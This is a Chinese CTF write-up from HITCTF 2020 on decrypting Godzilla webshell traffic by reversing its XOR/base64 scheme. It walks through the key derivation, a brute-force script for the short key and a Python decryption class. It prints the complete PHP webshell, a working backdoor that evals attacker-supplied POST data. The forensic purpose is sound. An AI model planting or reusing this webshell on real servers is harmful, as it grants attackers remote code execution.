Godzillas 是一个加密webshell管理器,类似于冰蝎,发布于hw时期,由于流量加密,其原有行为无法直接获取,需要逆向其加密流程。
以HITCTF 2020的Traffic 为例子。
流量附件:EasyFlow.zip
HINT:
首先看流量,可以在header
中看到很明显的特征:tools: Godzilla
。
同时,请求包和返回包均存在加密,无法直接获取到原文。
先使用Godzilla生成一个php版本的webshell,此时存在两种方式:
PHP_XOR_BASE64
PHP_XOR_RAW
根据官方介绍,Raw or Base64 加密器区别仅在于加密后的数据是否进行base64编码。
以PHP_XOR_BASE64
模式生成一个webshell,需要填写两个参数pass
、key
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php session_start (); @set_time_limit (0 ); @error_reporting (0 ); function E ($D ,$K ) { for ($i =0 ;$i <strlen ($D );$i ++) { $D [$i ] = $D [$i ]^$K [$i +1 &15 ]; } return $D ; } function Q ($D ) { return base64_encode ($D ); } function O ($D ) { return base64_decode ($D ); } $P ='shell' ; $V ='payload' ; $T ='3da39cba19f0ec58' ; if (isset ($_POST [$P ])){ $F =O (E (O ($_POST [$P ]),$T )); if (isset ($_SESSION [$V ])){ $L =$_SESSION [$V ]; $A =explode ('|' ,$L ); class C {public function nvoke ($p ) {eval ($p ."" );}} $R =new C (); $R ->nvoke ($A [0 ]); echo substr (md5 ($P .$T ),0 ,16 ); echo Q (E (@run ($F ),$T )); echo substr (md5 ($P .$T ),16 ); }else { $_SESSION [$V ]=$F ; } }
根据webshell的代码,我们可以确定获取到连接的密码是POST请求中的参数,异或加密解密的密钥未知,获得密钥即可解密流量。
而我们填入的key在webshell代码中,密钥变成了一串十六进制字符。
这时候就需要逆向一下Godzilla,看看webshell是如何生成的。
GitHub上有别的大师傅逆向好的源码:https://github.com/Freakboy/Godzilla
定位到密钥生成的函数
1 2 3 public byte [] generate(String password, String secretKey) { return Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0 , 16 ), false ); }
规则:$T = md5(key)[:16]
再看webshell,输出内容分为三部分:
MD5( 密码 + 密钥)的前十六位
shellcode运行结果
MD5( 密码 + 密钥)的后十六位
所以,我们可以根据返回包的内容,获取到MD5( 密码 + 密钥)的hash值,其中密码是不保密的,密钥的生成规则已知,而爆破密钥的时间复杂度过高,需要直接去爆破key,爆破出key后即可根据异或的规则对流量进行解密。
根据返回包提取hash值时,流量中的返回包并不是完全按照返上述规则返回的,而是在前后均有多余字符输出进行混淆。
随意找三组流量:
1 2 3 62 b6344331240 ed210 fc02 b6e48963 b6 c 10 f232 f1 dBlYQCg= = c 35 fb0 ae023 d6 c 7e3 x 7 g94 r4 c 8 a023459 c 3 a30e3 ae186 b8963 b6 c 10 f232 f1 dKFc5 X1 VQDFBTVVtEV3 gxEQYlDAo= c 35 fb0 ae023 d6 c 7 er23 ed8 qy4 bhxc3 i b01 b7865904 ec70576 a052 dd25918963 b6 c 10 f232 f1 dPQoPW1 BeWl4 = c 35 fb0 ae023 d6 c 7e2 al0 jquhu5 c 0 kvf
由于存在混淆,前十六位hash的起始位置我们不好确定,而后16位hash,由于base64编码后的串可能会以=
结尾,所以=
后面十六位即为后十六位hash值。此处是c35fb0ae023d6c7e
。
再确定先十六位hash,由于hash值不变, 所以多找几组流量,提取前面长度为16的最长公共子串即可。
1 2 3 4 5 6 7 8 9 In [2] : a="62b6344331240ed210fc02b6e48963b6c10f232f1dBlYQCg==" In [3] : b="a023459c3a30e3ae186b8963b6c10f232f1dKFc5X1VQDFBTVVtEV3gxEQYlDAo=" In [4] : for i in range (50 -17 ): ...: if a [i:i+16] in b : ...: print (a [i:i+16] ) ...:8963 b6c10f232f1d
组合一下,hash值为:8963b6c10f232f1dc35fb0ae023d6c7e
。
然后爆破key,根据提示,范围为:[a-z]{5}
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import hashlibimport stringimport itertoolsdef md5 (s ): return hashlib.md5(s.encode("utf-8" )).hexdigest()if __name__ == '__main__' : pw = "shell" s = "8963b6c10f232f1dc35fb0ae023d6c7e" for k in itertools.product(string.ascii_lowercase, repeat=5 ): key = "" .join(k) c = md5(pw + md5(key)[:16 ]) if c == s: print (key)
爆破出key以后,就可以根据规则计算出加密解密使用的密钥,然后对流量进行解密了。
解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import hashlibimport stringimport itertoolsimport base64import refrom urllib.parse import unquotedef md5 (s ): return hashlib.md5(s.encode("utf-8" )).hexdigest()def get_key (pw, s ): for k in itertools.product(string.ascii_lowercase, repeat=5 ): key = "" .join(k) c = md5(pw + md5(key)[:16 ]) if c == s: return keyclass Godzilla (object ): def __init__ (self, pw, key, md5key=False ): super (Godzilla, self).__init__() self.pw = pw if md5key: self.key = key else : self.key = md5(key)[:16 ] findStrMd5 = md5(self.pw + self.key) self.findStrLeft = findStrMd5[:16 ] self.findStrRight = findStrMd5[16 :] def findStr (self, t ): s = re.search(self.findStrLeft + "(.*?)" + self.findStrRight, t) if s: return s.group(1 ) else : return t def decode (self, s ): s = self.findStr(unquote(s)) s = base64.b64decode(s) r = [] for i in range (len (s)): k = s[i] ^ ord (self.key[i + 1 & 0xF ]) r.append(k) return base64.b64decode("" .join(map (lambda x: chr (x), r))).decode('utf-8' ) def decodeResponse (self, s ): return self.decode(s) def decodeRequest (self, s ): s = self.decode(s) s = s.strip().split("&" ) body = "" for param in s: p = list (filter (lambda x: x, param.split("=" ))) if len (p) == 1 : body += p[0 ] + "=&" elif len (p) == 2 : body += p[0 ] + "=" + base64.urlsafe_b64decode(p[1 ] + '=' * (4 - len (p[1 ]) % 4 )).decode('utf-8' ) + "&" return body[:-1 ]if __name__ == '__main__' : g = Godzilla('shell' , 'toolx' ) c1 = "e652b80c3742f207051c4a0764f7078963b6c10f232f1dMiMLR1VAdxNUH3paf3c5Fj0zAER/fn9SUyV6B1QDNgIGCTVbbHp3C34hTF5TYyFVBh0hXGxuexpSPnoCf3cPVSgNIWJXfmAEVlRuB393Dx8tIwtHbH5nD1UPekJUWSFVBSM2UGxhXQ9uVW4CbGcyAj1WWkNUbnMWbSV9Wn9jJg0tNVN8YG1/JFRUanpgXRc8KTdaXWNhYwpTDH4DbAI1LzIgD2VSbFEvVSJ2d2cDJSAAMTl1bFJzJHoycndscxcLPgoxTVNuezNuV25aZ2Q1UQEPG3F7VXwUZQtIWmR0Oh0BIQ9kbwhRFGNWT0hUWyUuMFUHQlR+VlpnNwUPc35fb0ae023d6c7eojw1rwjv3x6bnmgn" print (g.decodeResponse(c1)) c2 = 'PVZSXGJ%2BWRZtMglae1w6VCoeBwJvb3smZQpuYGQAVxIzCQ90eX5vJ2YIelNnZFNcLglSW1J%2BXRVtIw1aVGc2XDMIC1hUf14UYwhiW2BKJQo9CVJlZmgIXg%3D%3D&5Ye66aKY5Lq66K+077ya6KaB5LuU57uG5YiG5p6Q5rWB6YeP5ZOm77yB' print (g.decodeRequest(c2))
2021.09.14更新 Godzillas最新版(v3.03 )对发送以及返回流量增加了gzip压缩,流量部分在上述基础上需要在解密后进行gzip解压才能获得明文流量。